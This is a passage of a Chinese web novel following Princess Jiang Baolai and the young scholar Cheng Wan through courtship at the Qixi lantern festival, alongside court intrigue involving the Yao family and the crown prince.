姜宝来见他如此执拗,竟比覃楹两个还要难缠,蹙眉道:“我不吃!你是我的什么人?说了不吃就不吃。我姜宝来还能被她姚芳好的小伎俩毒死了不成?”说着她一指门外,双眼圆睁:“你,退下!”
然,程晚却立在原地,半步未动。一双如林间小鹿澄澈般的眼睛静静地望着她。
两个人在原地僵持了半晌,程晚不语只盯着她瞧。而姜宝来也在一瞬一瞬地看着程晚,毫不示弱。
但程晚不知道,他那样一副如小鹿受惊般楚楚可怜的神情,明亮的眼睛,温柔的笑意,柔和灼灼的目光,早已让她的心柔软的一塌糊涂。
而程晚自始自终也从未与她抗衡。
片刻,他道:“乐宁乖,好好吃药。”
姜宝来听着他哄小儿的语气,忽地一笑。幼时她不肯吃药阿兄也曾这样哄她,爱怜地将她拥在怀中,一手端着药碗,一手用汤匙搅着药汤,然后温柔地对她说:“妹妹乖,好好吃药。”
但从胞兄口中说出来她听着觉得没什么,可如今在一个曾素不相识的男人口中听到……
姜宝来忽然眨眨眼,狡黠一笑:“也行啊,程子煦,我要比那饴糖更甜的。”
程晚本是不疑有他,但在他所觉她眼中一闪而过的那一抹灵动,他心下已了然。但他仍旧配合道:“哪里有比饴糖还甜的糖果,子煦这就去为公主买来。”
姜宝来笑得更是明媚,朝他勾了勾手指。
程晚依令走近。
二人咫尺的距离,姜宝来盯着他的面容忽然倾身朝他贴了贴,并微微扬起了下巴:“那你亲亲我。”
程晚垂眸失笑,眸光里满是宠溺之色,但并未依言去做。
姜宝来当即沉下了面,转身就要朝外走去,恰在这时程晚一手握住了她,而后温热的唇在她的饱满光洁的额头落下轻轻一吻。
为此,姜宝来深深一叹。
这甜头是尝到了,可就是有些不一样。
若换作他人,是不是就如阿媚那日的学舌:啵啵了。
不过程晚此举在姜宝来看来已经是让她刮目相看了。
程晚见公主神色变化万千,他便起了身欲去榻上更换床铺,姜宝来
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却道:“程子煦,我们亲都亲过了,现在见什么外?”
守在门外的侍从们耳贴着门,听见公主的这一声,纷纷挤眉弄眼起来。
姜宝来又坐回了椅上,拿起他干净白皙的一只手掌,见他的指甲都是洁白的。
程晚站在她身侧扔她摆弄自己的那只手,嘴角含着笑意,正猜测公主会说些什么,谁知却是
与他道:“我真的有些饿了,这几日吃了好几日素食。你这里有没有吃的?”
程晚道:“我去准备,那就烤肉如何?”
姜宝来点点头。紧接着她又看到程晚去衣橱里翻出了一件浆洗干净的披风,轻柔地披在了她的身后。
程晚直到这时才离去。
而门外的侍女守卫们还支着耳听着里面的响动。冷不防程晚一手拉开了屋门。
侍从们摸摸耳,挠挠头,都当没看到他一般,各回各位。
程晚无奈一笑。
屋子里,姜宝来支着肘坐在书案上打起盹,一缕衣衫上残留的淡淡皂角香气入鼻,渐渐的,她睡了过去。
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醒来时,已是太阳落山,余晖在天际洒下一片橙黄。
程晚独自坐在院中,慢条斯理地炙烤着肉。公主府的侍从们守在院子里闻着飘来的肉香也都不由地咽起了口水,纷纷拿眼去觑。
姜宝来推开那扇屋门时,便是看到这样一副情景。
她走近,在他身侧的石凳上坐下,一手在石案上撑着额角,一双眼眸朝他含情脉脉望去,风情万种地道:“烤肉都这般好看,真是秀色可餐。”
姜宝来又忽地一声轻叹,低语道:“程子煦,这些时日外面的食物我已经很谨慎用了,保不准哪日我就一命呜呼,再看不得阿兄看不得你了。延寿坊程家……程子煦,我可以相信么?”
程晚道:“从此子煦吃第一口,乐宁再用第二口如何?”
姜宝来有些狐疑:“从此?一日三餐,朝朝暮暮?程子煦,你不会是在向我表白吧?”
“程子煦,我们究竟是什么关系?”
程晚忽地想起那日她在糖人老伯面前说的话。
他温声道:“子煦会努力,可让公主衣食无忧那一日。”
姜宝来闻言一愣,少顷,她睁着一双杏眸,似有些诧异道:“你养我?”
“不过,我可等不了太久,说不定哪日……我若是移情别恋喜欢上别人了呢?”
程晚清明澄澈的一双眼,就如去年秋猎时她所遇的一只小鹿般,亦如她射下的一只雪白毛茸茸的野兔,兔子睁着一双眼睛转来转去,似乎在祈求她。
姜宝来道:“怎么?你还想让我对你负责?”
瓦片滋滋作响散发着肉香,程晚这时用木箸将瓦片上的肉一一夹到了瓷碟里。
他起身朝公主走过并递了过去,温温道:“若公主心悦子煦,子煦定会对公主负责。”
姜宝来垂着眸看着那碟突然多出来的烤肉,又抬起头看向程晚,道:“不够,我还要听更好听的。”
说着,她顺势抓他衣襟,将程晚朝前一带,程晚倾身贴近。
姜宝来:“若我不肯呢?”
程晚望着那双如皎月般的眸,温和如水地说:“那子煦当离开,勿让公主烦扰……”
程晚的话音还未落下,就在这时,姜宝来倏地起身咬上了他白皙的脖颈,对准了他微微滚动的喉结。
程晚呼吸猛地一窒,再看公主已怒气冲冲朝院外走去。
“程子煦,今日、明日、后日,我再也不想见到你!”
37. 七夕
魏翊扬与邵典书听到前院的响动走了过来,见公主走得飞快已经上了步辇,心知是那校书郎应是说了不该说的话,让公主炸了毛。
魏翊扬想也未想跟在了后面,邵典书却又用一股蛮力将他留了下来。
见此魏翊扬问:“公主为何走了?”
程晚看着已消失在院门外的步辇:“我似乎说错话了。”
邵典书在旁打着马虎眼,一手搭在了魏翊扬的肩上:“魏老弟,我们吃饭。公主的事儿哪是我们这些粗心大男人能参与的。”
魏翊扬淡淡笑了笑,一直盯着程晚:“他就是个细心的?”
邵典书干巴巴笑了笑,二人还没开始吃饭就醉了酒。邵典书红着一张脸,说起话来也渐渐语无伦次,他看向在小桌上默然烤肉的程晚,有心活跃气氛:“程老弟来长安数月,还不知道你的志向……”
“程老弟这般才华横溢,满腹经纶,总不能一辈子在崇文馆里做个九品校书郎吧?我知道,你早晚……早晚有一天啊,会离开崇文馆,朝前走,不回头,大好的前程尽在前面的。”
程晚专注翻动着瓦片上的肉,魏翊扬忽在这时说:“我的志向……上战杀敌,他日若能留在战场上挣下军功,才能……才能更配得上公主。”
他面前的酒碗已空,面上染上了一片红晕,双眼也有些飘忽。
邵典书听罢很快将落在程晚身上的目光移了开,与魏翊扬勾肩搭背起来:“我的志向嘛,自是光耀门楣。”
二人自说自话,你一言我一句情绪高涨,邵典书说到兴起时浑然未觉,程晚已经起了身,再将烤好的肉食装盘入匣,再将余下的放在了二人面前,而后匆匆离去。
魏翊扬望着程晚的背影垂下了眸,随后他拿起面前的酒坛咕咚咕咚,抱着大口饮了起来。
-
姜宝来气冲冲地回了长乐宫,晚膳也没用,在浴堂里刚下了水便听见雾萝道:“公主,那程校书在外面提着食盒,说什么也不走呐!”
姜宝来一头埋进了澡池里,而后又钻出了水面,咬牙道:“谁放他进来的?我长乐宫的大门他想进就进了?”
“不见!”
程晚一连三日下了值带着一提烤肉去了公主府,却吃了三日的闭门羹,直到第四日天空飘起了细雨,公主府的侍女们见三日闭门不出的公主,忽然一时兴起想去东篱酒肆吃酒。
平日里出门前定要好好打扮一番的公主,今日却只穿着一件常服,装束还是白日里的装束,披着一件油锦就出了门。
侍女们一路默然,分成两列撑着伞跟着公主一路走到了大门口,抬步辇的仪卫也早在大门口等候公主上轿。
谁想公主看着突然出现的东宫马车,还有已上了马车的程校书,不知何故又折返回了长乐宫。
之后两日,公主府的众仆再也未见过那个每日提着食盒如约而至的校书郎,而公主也好似忘了这个时常光顾长乐宫的校书郎。
众人心照不宣的一致未提,直到七夕这日,大家伙才见公主有了出府的心思。
长安的七夕是个极其热闹的节日,满城灯火如昼,情窦初开的少男少年们,抑或蜜里调油的恩爱夫妻,逛都城,赏花灯,互赠芍药或姑娘家精巧绣制的香囊等。
姜宝来自幼喜爱各式各样的花灯,而外祖母汤老夫人也喜欢。
于是七夕这日,姜宝来想着带上顾绮走上一趟谢家,带着坊里的新式样花样看看外祖母。
但平静了多日的顾绮却忽然发了疯躲在屋子里,将自己埋在被子里,任谁说也不肯离开。
姜宝来深深地叹了一口气,御医说顾绮是受了惊吓,总会好的。
可总不能三年五载才好起来吧?
她留了侍女照看,带着覃楹与雾萝两个去买了许多花灯带去谢家。
谁想却在谢府里看见了乔装的胞兄在谢家秘密见客,朝廷里的事她从不参与,自有太子胞兄去做,他能做的只有时不时给姚淑妃母子添添赌,或是必要时为胞兄助力。
从前在谢家她也曾见过乔装打扮一番,在谢家见客的胞兄。
因此姜宝来并没有多想。
只是她已经多日未见胞兄想着与他说上几句便去寻外祖母汤老夫人,那日原本要去东宫走上一趟,最后因为探花胡饼去了崇文馆。
想到此,她忽然觉得,她似乎有些对不住自己一母同胞的兄长。
她似乎有些见色忘“兄”了。
姜朔玉听见胞妹的声音,正一手拖着茶盏,险些茶水洒落。
而后,他朝着对面蒲团上入座的青年笑了笑:“阿迟,这次我失算了。”
那青年男子一身天青色锦袍,腰间扎着一根镶玉蹀躞带,一头乌黑的发用一镂空银冠束起,且面上带着一张面具。
举手投足间,与如今的大熹皇储君坐在一起,竟不知谁才是贵不可言的天潢贵胄。
青年闻言笑了笑,温声道:“我这便离去。”
姜宝来已在这时进了庭院,与戴着面具的那锦衣青年人正欲擦肩而过,青年侧过身行下一礼。
姜宝来同样面上带着一张面具,是个开山莽将,头生双脚,满口獠牙,虽面容不讨喜,但素来有驱邪收妖之称,正何她的心思。
姜宝来随意地朝他瞥了瞥,一脚已迈进了屋子,她见几上摆着一站还冒着热气的峡州碧涧。
姜宝来突地眼皮一跳。
这茶,她熟啊!
那个分走了她胞兄宠爱的男人,可不就是喜饮这峡州碧涧?
再想起方才离去的那青年,她当即转身叫住:“等等!”
那青年已走出了几步远,闻言停下了脚步,驻足在原地几息便转过了身。
姜宝来再朝他看去,这次却是极其地认真。
那青年一身锦衣,银冠束发,脚踩着金线黑靴。
如此华贵的装扮,与那挺拔的身姿,隐隐自带的气度不凡,便是说句宫里头的高贵皇子也不为过。
姜宝来忽然觉得这人有一些熟悉。她飞快地朝多吉使了一个眼色。
那厢多吉已经走到了青年面前,恭敬有礼的立在原地,却带着一种不肯放人离去的态度。
而厢房里,姜宝来已朝姜朔玉走了过去,笑道:“阿兄原来在这儿见客。”
姜朔玉也跟着笑:“可是来看外祖母?”
姜宝来道:“我买了许多花灯,外祖母最喜欢看花灯,今日我要挂满一园子。”
姜宝来不动声色,笑盈盈地说着,但心里却将那青年盘算了个遍。
方才她未注意,但现在仔细想来,她来寻阿兄还未自报身份,那人便给自己行了一个大礼。
姜宝来寻了一空盏
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兀自倒起这茶来:“阿兄什么时候换口味了?”
姜朔玉道:“此茶鲜爽,阿兄也是偶尔尝一尝。”说着他朝窗外望了望,笑道:“乐宁这般何如?为何扣着阿兄的人不放。”
姜宝来点点头,端起茶盏小抿了一口,微笑道:“阿兄身边的这幕僚真是聪慧,我还未报上自己身份,他就知道我是何人了?从前我可有见过?“
今日她本想尽兴而归,已让覃楹去买了今日七夕坊里所售抢手的各式各样面具。
如今她戴着面具,若人人还能认得出来,这般岂不是掩耳盗铃了?
多吉将那青年恭敬不失礼节的又请了回来。
姜宝来又在这时拉长了音调:“你说是不是?阿兄?”
姜朔玉似认真想了想:“阿兄的这个幕僚是很聪慧的。”
姜宝来眨眨眼:“是么?”她又回头朝着那已进了屋子的青年道:“那你且来说说。”
青年再行一礼,压低了嗓音道:“公主方才已下意识自报了身份。况且……公主的鞋上有两颗珠宝。我朝只有一个姑娘鞋履上的上珠宝如同鸽蛋一样大。”
姜宝来闻言有些不悦地低头瞧了瞧自己云履上所镶嵌的两颗大珍珠。
她再抿了一口清茶,道:“阿兄既然在见客,妹妹就不打扰了。”
姜朔玉闻言暗自松了一口气。
谁料已走出屋子的姜宝来却是这时一瞬转过了身,已极快的速度伸出了手欲揭开那青年面上所覆的那张凶兽穷奇面具。
男人连连躲闪,奈何姜宝来一直在找机会势必要将他摘掉。
姜朔玉骤见此景,一口茶呛在喉中,连连咳了出来。
青年转瞬将她反手拥在怀里,姜宝来见此一声厉喝:“放肆!”。
而那青年男人已先一步朝后退去,弯着身朝她恭敬辑礼。他笑:“失礼。失礼。在下乃殿下宫中新召幕僚,多年前面上被大火烧过很是丑陋,唯恐污了公主殿下的眼,今日唐突公主还望公主海涵。”
姜宝来朝着青年瞪去,转头对姜朔玉道:“阿兄的这个幕僚真是大胆,若是换作旁人,脑袋都不够砍一百回的。阿兄近来待人果真随和得很呐!”
说着姜宝来恢复了笑吟吟的面容,风风火火地去了汤老夫人的居处,又令仆从将她带来的花灯挂满了整个园子。
汤老夫人正想留了小孙女一同用晚饭,又见她脚不沾地地离开了谢府。
姜宝来道:“外祖母,今日我要去捉一只会蛊惑人心的‘妖怪’。”
雾萝与覃楹寸步不离跟在她身后。
雾萝问:“公主要去何处?东市的花灯已经亮了,目下曲江池那儿也热闹得很。”
雾萝很快听公主说:“延寿坊!”
姜宝来自谢府出来步辇也没有乘,这里与延寿坊不远,过了这条街便是延寿坊的巷子口。
而且,她现在迫不及待,要去捉那只长安突然多出来的大妖怪。
姜宝来走得极快,完全没有注意到,一游街的孩童一手拿着花灯,一手握着点燃的烟花与她撞到了一处。
烟花在孩童手中散发出一簇簇光亮,多吉与覃楹几个见闪闪的烟火就快要烧到公主的衣袖上,几人飞快地朝公主奔去。
恰时,人群中伸出一白皙干净的手掌揽住了姜宝来的腰身,将她顷刻拉了过去。
38. 驸马的考核期
姜宝来望向程晚的一身白玉色长衫,衣袖已被烟火烧掉了一角。
但姜宝来只在那残缺的衣衫上停留一瞬便转头要走,程晚却一把拉住了她的手腕。
姜宝来猝不及防被他拉住,一回头对上了万千灯火下那一张干净白皙的面。
她内心不禁为此一叹。
这样一张任谁人所见都会心软的脸,她该如何是好?
姜宝来蓦地咬紧了牙:“放手!”
“程子煦,难道你会遁术吗?”
程晚在灯火中望向那张獠牙凸眼的面具,今夜长安城极其热闹,千奇百怪的面具穿梭在人群中,却没有一个姑娘家戴着这样一张“骇人”的面具。因此,他很快在人群中找到了她的身影。
想着这张面具下暗藏着同样与众不同的一个灵魂,程晚不由莞尔一笑。
行人来来往往如潮水般向更多的彩灯处走去。姚培与几个世家公子哥在推推攘攘的人群里也想凑一份热闹。
姜宝来已在人群中看到了他们的身影,只看了一眼便将视线重新对上了程晚。
她再一声低喝:“放手。”
说着姜宝来拉起了他紧握着他的那只手,狠狠咬了上去:“我说出去的话从没有食言的。”
然程晚却没有松开,而是朝下一滑顺势将她的那只手牢牢地用自己的掌心握住。
程晚想:她说过三日不会见他,她并没有食言,但现在已经过去三日了。
谁料,姜宝来却在这时用尽了全力将他的那只手挣脱开,而后朝着人群中一瞥,对准了目标,一脚将一身朱衣,头戴绢花,招摇过市的姚培踹进了湖里。
姚培一个措手不及,被这突如其来的意外惊得一愣,还未来得及多想,便径直坠下了曲江池。
路过的百姓们见有人掉下了湖纷纷朝漾起一片涟漪的曲江池看去。
几个与他随行的公子哥见姚家二公子莫名其妙掉下了河也是一愣,还是姚府的两三个今日跟在姚培身边的小厮最先反应过来,一个皆一个如待下锅的饺儿般跳下了河。
小厮们如游鱼般朝着自家郎君快速游去,而姚培不习水性,湿漉漉的脑袋一会儿钻出水面,一会儿又沉了下去。
“哪个不长眼睛的驴孙!”
“让小爷我抓到你,我剥了你的皮!”
“狗东西,敢踹小爷我,是不是活得不耐烦了。”姚培狠狠吐出一大口冰冷夹杂着淡腥的湖水,很快由两个小厮一左一右架着朝岸边游去。
而程晚也在姚培掉下湖的那一瞬间一怔。
他忽地想起那日在学馆公主与他说的那些话,原来此食言并非彼食言。
几个出来逛灯市的世家小娘子知姚培其人,也有胆大的,驻足在岸边看起他的笑话。
一身新裁的衣裳如今泡了水,新制的绢花也早已丢到了湖里,此刻姚培说不上来的狼狈。
面对着众人的指指点点,姚培红着一张脸说话越来越难听。
而姜宝来却在人群里突地捂唇咯咯笑了起来。
她见程晚欲朝姚培走去,有些不解,喊道:“你做什么去?”
程晚温声朝她说了一句:“在这里等我。”便径直朝浑身湿漉漉,被几个小厮围在一块取暖的姚培走去。
他一改素日的好脾气,淡淡地说了一句:“不知姚公子可听过一句话,相鼠有皮,人而无仪。”【1】
姚培早已在程晚从人群中走出来时注意到他,彼时正不知是何人胆敢冒犯到他的头上,正想让小厮们去找,不成想这个罪魁凶手自己站了出来。
前几日他刚刚打了这个九品小官,不是他清高的程子煦还能是谁?
姚培这般想着,一手撸了袖子便要带着小厮气势汹汹地去揍他。
“什么鼠?什么皮?你个穷酸的臭书生,胆敢……”
人群里一声冷言:“多吉!”
姚培忽闻一声,再见自人群中走出的姜宝来忽地一愣。
他吞吐道:“公……公主。”
而雾萝也在这时取出了腰间所悬的长鞭。
姜宝来却眼风都没给他一个,朝着雾萝与覃楹道:“今日七夕,你们好好的玩!”
街市上因此小插曲已是水泄不通,守在暗处的公主府守卫们为此三两在侧为公主开出了一条路。
程晚趁势一手拉住了姜宝来带着她走出了熙熙攘攘的人群。
远处的楼阁上,一玄衣青年,面覆着一张朱雀面具立在原地,面具下笑而不语。
身侧一手持拂尘的宦官,轻声道:“殿下,我们该走了。”
玄衣青年回身看着拱桥上离去的那碧衣挽鬓女子渐行渐远的身影,许久道:“走吧。”
-
程晚拉着姜宝来直到西市里一处稀少无人的摊铺前才停下来,而姜宝来也未过多挣扎。
只道:“程子煦,我还没原谅你!还有,别跟着我。”
程晚见她果然兀自朝人流中走去,于是开口道:“今日西市来了许多客商。”
姜宝来闻言停在原地,回身问:“我怕什么?我是公主。”
程晚微笑着:“公主自是勇敢无畏,但公主若有事殿下必定会伤心。”
姜宝来闻言默然一瞬,片刻她走近程晚,问:“程子煦,你与阿兄在密谋什么?”
“算了。阿兄的事的事我不会多言,他只要好就成了。”
程晚还未答话,姜宝来复又看向街市两旁的摊铺,见许多卖有藕粉圆子的摊贩便多看了一眼。
从前她很喜爱这道甜点,但姚圆清总是拿这道糖艺来讨她的欢心。
准确的说,是讨她父皇的欢心。
久而久之,她在喜欢吃也会因为姚圆清的缘故不那么喜欢了。
但今日看着那甜蜜美味的藕粉圆子,她肚子里的馋虫不知怎么又被勾出来了。
姜宝来稍稍朝那摊位看了一眼便很快移了开,她还未说什么,身侧的程晚便解了钱袋走到了那摊铺前向摊位买了一碗藕粉圆子。
姜宝来不动声色地看着他嘴角含着笑意朝她端来一碗藕粉圆子,又听程晚说:“若是不够,吃过了这碗我再去买。”
姜宝来朝他睨了一眼,板着面道:“你怎么就认为我喜欢吃?”
说着她直视向程晚:“程子煦,你该不会也是在讨我的欢心吧?”
程晚含笑:“若乐宁喜欢我再去买来。”
姜宝来:“哦。可我不喜欢吃,从前喜欢吃,现在不喜欢了。人都是会变的,如今我不喜欢吃藕粉圆子了。不喜欢延寿坊程家,不喜欢你程子煦……”
“那有子煦喜欢公主就够了。”程晚忽地说。
姜宝来闻言眨眨眼,正想问个究竟,余光却见不远处平日里近身服侍杨文君的侍女又去了那间波斯匠人开的珠宝店。
姜宝来一把拉住了程晚将他带到了一旁。
待侍女走后,姜宝来又回身对程晚面不改色地道:“我要买些珠宝今日没带钱,你付账?可行?”
程晚笑。
但当程晚随着公主一步一步地朝那珠宝铺子里走去时,却发现公主并不是真的要买珠宝,而是那间珠宝店其内的另一天地。
程晚看着内有乾坤的珠宝店,不知公主为何要买一些香料。
程晚静静地在香料屋子外等候,任凭来买香料的长安贵女们红了脸悄悄偷看。
有当日随行玉华宫的小娘子认出了程晚,上前来与他言谈。
小娘子红着一张面,伸手去掉了头上的幂篱,话语温婉地道:“程大人何故在此?”
程晚得体有礼地道:“在等人。”
小娘子闻言一脸茫然地朝香料屋子望了望:
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“等人?在等何人?”
“自然是我。”姜宝来将程晚的那枚钱袋子里仅剩的银钱,豪掷给了售卖香料的波斯女郎,正一手抛着香料包走出屋子,却见到门廊下与一姑娘,温和有礼说着话的程晚。
贵女自然认得公主,忙要行礼。姜宝来一手阻止了她。
贵女在公主与程晚身上来回游移,驻足不前。
见此,姜宝来挑挑眉:“怎么?有事?”
贵女吞吞吐吐笑道:“没……没事。”说着她飞快觑了一眼在公主身侧浅浅微笑的程晚:“看来传言有真,公主他日的驸马当真……当真另有他人。”
姜宝来:“哦。也不全对。他还在考核期。”
-
二人出了珠宝铺,姜宝来将那包香料在程晚面前摊开,紧接着姜宝来朝他扬了扬下巴示意他。
程晚莞尔,却在闻到那香料的异香时,长睫一颤。
随后,他听姜宝来很是兴奋地问:“如何?”
“好似有些……不太寻常。”
姜宝来:“我知道。所以才让你闻得。”
程晚:“……”
程晚心中已暗有猜测,只将那香料包重新收好,二人不知不觉走到了一处书画摊铺前。
一青年小郎君正坐在画架前为前面满面娇羞的姑娘认真作画。
姜宝来漫不经心地跟了一眼,卖画的老翁却找准了时机对程晚道:“今日乞巧送相思,郎君不给夫人送一幅画么?”
程晚含笑不语,却是一手摸到了腰边的钱袋子,却发现空空无一物。
他忽地失笑,这才想起今日出门仅剩的钱财都交代在了香料铺。
售画的老翁似乎看出他的窘状,不禁哈哈大笑:“明日来赎画也是一样的。”
程晚笑笑,回身见在不远处的多吉,温文尔雅道:“劳烦多吉公公,可带了银钱?明日晚辈如数归还。”
多吉一脸慈爱地看着程晚,这一次向来护住的忠仆却是一个眼神也没给公主一个,他将自己的钱袋子递给了程晚,并道:“不打紧。”
姜宝来在旁看着二人的小动作,选择睁一只眼闭一只眼,毕竟刚刚她的确拿了他的钱袋子。
况且她也很想知道,程晚今日要作何样的画。
那日的那那一幅门神画作如今还在她的闺阁里挂着。
而后她听程晚道:“夫人喜净,便让她在茶肆等着好了。”
姜宝来正想问“我什么时候成了你的夫人”想了想,轻哼了一声去了对面的茶肆。
她望着在茶肆下认真作画的程晚,许多姑娘止步不前,也不知是在看画,还是在看人。
姜宝来忽地觉得,今日的程子煦大有在哄她欢心的嫌疑。
为了那日那句话么?她三日的闭门不见。
不对,她还没原谅他!怎么就鬼使神差乖乖坐在了茶肆里看着他作画。还听他口口声声唤自己为“夫人”。
多吉在一旁见公主面上的变化多端,低低笑了笑。
姜宝来朝多吉瞥去了一个眼神,而后她倒了一盏茶推给多吉,她道:“阿娘年少时是否也会同我一样出来玩?”
多吉闻言一愣,再没有了方才的笑颜。
良久他道:“今日摊铺众多,娘娘年少时时常会在这一日出来为百姓义诊。”
姜宝来默然片刻,忽然笑了笑:“那你一定很思念阿娘了。”
多吉垂眸。
姜宝来又说:“我只在画中见过阿娘,但梦里每次遇见都像真的见到阿娘一样,要是她在就好了,我也是有阿娘疼的……”
程晚手持着一幅画卷缓缓上了茶肆的木阶,将公主的一番感伤系数听了去。
姜宝来朝他手中的那幅画卷一瞧,竟是她不曾戴面具的样子。
且为四个画有她喜怒哀乐的小像。
39. 后来者居上
蒋学士病了几日终于大病初愈回了学馆,近来藏书阁的校书事务清闲,张学士又资历尚浅拿捏不住几个讲堂里的小滑头,索性便将阅卷的一些日常差事交给了程晚。
左右陛下身边的内侍王贤发了话,这青衫九品微官便也不算此举逾越。
何况那日后他有心打听起这个初入长安的寒门书生,亏得在学馆里做事的邵典书有心提醒,这出身寒微的布衣出生,十余□□他日就成了圣人的“乘龙快婿”。
这日程晚按规下值,不巧天公不作美,牛毛细雨落了下来,渐渐地雨势骤急,淅淅沥沥不停。
有在学馆里一同做事的同寅,见程晚打着一把油纸伞自廊下走过,上前打了招呼,打趣:“校书大人竟如此心细如发,难不成会预判先机,知晓今日有雨?”
程晚撑着那把绘有梅兰竹菊的油纸伞立在烟雨中,眉眼间带着自然的柔和:“昨日见乌云密集,恐今日有雨,还是早些未雨绸缪的好。”
同寅不免一声赞叹:“校书大人见微知著,我等下了值就埋在这长安的金窝窝里,酒肉放纵,哪里还会关心翌日是晴天还是雨天?”
程晚谦和有礼地让开了去路,笑道:“人非完人,孰能无过?譬如目下天降急雨,我好像忘了与典书大人留一道门。”
邵典书在崇文馆虽为无品级的流外官,但到底属于一个吃朝廷俸禄的吏员,小官也是官。
邵典书向来怡然自得,也向来对自己格外照顾,若公厨当日的伙食不好,他也并不介意用自己微薄的俸禄吃起小灶,去外买些胡饼、馎饦之类的街头小食。
果然同寅闻言哈哈大笑,又与程晚闲谈了几句这才作揖告辞。
丝丝细雨从檐下而落,滴滴答答个不停,程晚独自一人走出了学馆。
街道旁,恰逢一辆青盖云纹雕花的马车从程晚身边驶过,车轮在路面碾过又随细雨卷起一片泥尘,顷刻飞溅到了程晚的一身青色官袍上。
马车上靠窗而坐身着了一袭深绿色绸袍的青年男子,而青年男子身旁一鬓角霜白的中年官员正端着热盏,啜了一口清茶。
程晚仍然不疾不徐朝前缓步行走着,也丝毫未因为衣衫上的泥污停留下来。
但身旁的那辆青盖马车却在这时缓缓放慢了前进的速度,一人从里卷起了车帷。
那绿袍男子笑看着程晚:“原是校书大人,多有得罪。”
程晚也在这时放慢了前行的速度,垂眸瞧了瞧自己已带有一片泥污的衣衫。因右手撑着一把纸伞,他只微微欠身朝着马车上的人行了一个常礼,紧接着又稍稍侧过了身:“无碍,姚大人先行。”
姚植看着马车下清冷疏离又谦谦有礼的程晚,再不动声色端详了他片刻,朝前缓缓行驶的马车也在这时逐渐停了下来。
姚植再道:“家弟自幼不在姚某身边亦不受阿耶管教,故而无所顾忌,还望校书大人多担待。”
程晚知道,他指的是那日他为寒门士子出头,为此被姚培打伤一事。
于是,他温和笑了笑,很是礼貌地道:“寺丞大人无需如此,那日的事说来也是个意外。”
车帷内忽然响起一声响亮的笑音:“听闻程校书今年刚刚加冠,倒是个有少年风骨的读书人。”
车窗前的姚植见父亲开了口便稍稍侧过了身,马车下的程晚这时也看到了在车内端坐的吏部尚书姚坤。
姚坤依旧手端着那盏清茶,却没转过头去看程晚,只摆弄着手里的杯盖缓慢地在杯沿上摩擦着:“小儿顽劣,自小在浔阳阿耶的管教也是不服气的,还要对亏了程校书。”说着他忽地将目光对准了车下的程晚,缓缓道:“伤可好了?那些寒门士子可不是个能变通的主,程校书还是不要为此惹上麻烦的好。”
程晚仍然是温文尔雅的神态,言语间带着温和有礼,他道:“尚书大人说的极是,只是程某认为身为男儿立于天地间当无畏果敢才是。”
姚坤一时默然,良久他放下茶盏,车下的程晚只听见马车里发出一声沉重的落声。
姚坤看不出是何种情绪,只盯着程晚道:“口气不小。程校书可明白人才辈出的长安城,敢这么说话的还是第二个。”
程晚道:“那程某亦可试一试,做这第二个。”
程晚的话音方落,姚坤冷如刀的目光便唰地投向了程晚。
姚坤直视着程晚许久不曾将视线移开,而程晚也毫不示弱地回看着他。
片刻,姚坤笑:“年轻人胆量是够的,只是不知在校书这个位置上够不够格,还望程校书的仕途顺利,有得偿所愿的那一天。届时,老夫若能与校书大人在朝廷共事,才应称一声可喜可贺。”
姚家的马车再不做停留,姚植放下车帷前朝着程晚点了点头,程晚也回以一个微微浅笑。
马车内,姚植道:“阿耶,此人便是太子殿下举荐的新科进士。”
姚坤微微颔首:“一个出身寒门想凭天家飞上枝头的乡民罢了。”
姚植不解:“阿耶此话何意?”
姚坤道:“陛下似乎有意栽培此人,似与公主有关。而此人出自崇文馆,又是太子举荐,不知给天家灌了什么迷魂汤。”
姚植沉吟片刻:“阿耶身为六部之首又何必与一个乡民计较。”
姚坤眯着眼抚了抚胡须:“大郎,你以为我是为你弟弟出气?为父也不知怎么就是瞧他不顺眼罢了。那股心气怎么瞧怎么都像那人。就快到你姑姑的生辰了,今年培儿回来了你们兄弟两个一同去看一看。”
姚植称是,却暗自想起已逝多年的姑姑。当年他年岁还小,对这个姑姑称不是有多大的感情,只知道祖父是因姑姑郁郁而终的,而姑姑当年爱慕那个战功赫赫,大半生都在征战沙场的淮南王多年不得结果,眼看着自己的手帕之交接连成了婚,淮南王又婉拒了姑姑的倾慕之心,姑姑不堪受辱当夜悬梁自缢。
姚植回神道:“原本阿耶还想着再寻个肖似谢瑶珍的女子送进宫去,但现下看来不用了。”
姚坤闻言默了默:“还是个未知数,不过凡事防患于未然对不对?”
姚植道:“齐王殿下当年在骊山秋猎上受伤,难道阿耶还以为是太子所为?”
姚坤不语。
姚植见此将心里的疑问说了出来:“可太子殿下当年醉酒后因思念先后坠下太液池为此染上沉疴痼疾,这些年虽体弱多病却因先后缘故稳坐东宫储位,何故要加害齐王表弟?”
“这储位岂是那般好坐的?至少对他有着一半谢氏血脉的太子来说并不好坐。”姚坤老眼微眯,半晌无言。随后他笑笑问长儿:“植儿,为父问你当年的太子殿下如何?”
姚植冥想,如实答:“……当年的太子殿下儿子虽年
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岁小,但却已殿下为榜样,殿下可谓是锐气十足,一身昂扬,英姿飒爽。”
“是啊。”姚坤笑得深沉:“当年的太子殿下像极了他的义叔父裴璟书。”
姚植似有些不解回味父亲的话思索良久,而后他心头猛地一震,倏地抬起了头。
“阿耶——”
-
潇潇冷雨洒下长安,素来除崇文馆与公主府外从无交集的程晚,这一日逢雨天却去了一趟青龙寺。
雨雾下的古亭里,一身着僧衣得青年正沏好了一壶清茶,再为他斟得七分满。
青年笑笑:“我这里可没有峡州碧涧,只有些粗茶散茶,行不行?”
程晚浅笑,撩起衣袍上了石阶,快到古亭里时再收了伞,随后他入座,又将那把伞放到了自己的身旁。
青年见此一幕挑了挑眉:“听闻探花大人玉华宫一行得长安诸多娘子倾慕,坊间甚至还兴起了探花胡饼?贫僧倒要问一句,此伞是何人所赠?”
程晚道:“既不下山消息还这般灵通?倒是程某的不是,今日没带了那探花胡饼来探望空山师父。此乃程某的罪过。”
僧袍青年见程晚打趣起来,倒没再说什么。恰逢一阵雨中的清风吹过,吹起了他的僧袍衣尾,星点的雨丝也落在了他光洁的头顶。
而程晚也因那阵急风将身侧的伞吹得朝旁倒了倒,伸手将它立稳。
青年再笑笑,而后他望向入目的远山连绵,说了句:“近日在忙什么?”
程晚吃下一口清茶:“方才见过吏部那位。”
苏静寒有些诧异:“这般沉不住气?”
程晚未语。
苏静寒又说:“既是与他正面较量上便好办了。他那内子常来寺中祈福添香火,只是为这祈福的人却无名无姓。”
他又看向程晚:“殿下呢?”
程晚这时才道:“我也有几日没见过殿下了。你可见过杜氏身边的侍女了?”
